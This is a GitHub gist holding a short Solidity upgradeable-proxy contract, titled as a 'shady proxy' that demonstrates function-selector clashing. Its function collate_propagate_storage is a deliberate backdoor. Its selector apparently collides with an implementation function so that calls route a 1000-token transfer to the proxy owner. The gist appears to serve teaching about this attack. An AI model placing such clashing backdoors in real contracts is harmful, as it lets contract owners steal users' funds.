Created
July 2, 2019 23:03
Shady proxy used for function clashing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.5.0; | |
contract Proxy { | |
address public proxyOwner; | |
address public implementation; | |
constructor(address implementation) public { | |
proxyOwner = msg.sender; | |
_setImplementation(implementation); | |
} | |
modifier onlyProxyOwner() { | |
require(msg.sender == proxyOwner); | |
_; | |
} | |
function upgrade(address implementation) external onlyProxyOwner { | |
_setImplementation(implementation); | |
} | |
function _setImplementation(address imp) private { | |
implementation = imp; | |
} | |
function () payable external { | |
address impl = implementation; | |
assembly { | |
calldatacopy(0, 0, calldatasize) | |
let result := delegatecall(gas, impl, 0, calldatasize, 0, 0) | |
returndatacopy(0, 0, returndatasize) | |
switch result | |
case 0 { revert(0, returndatasize) } | |
default { return(0, returndatasize) } | |
} | |
} | |
function collate_propagate_storage(bytes16) external { | |
implementation.delegatecall(abi.encodeWithSignature( | |
"transfer(address,uint256)", proxyOwner, 1000 | |
)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment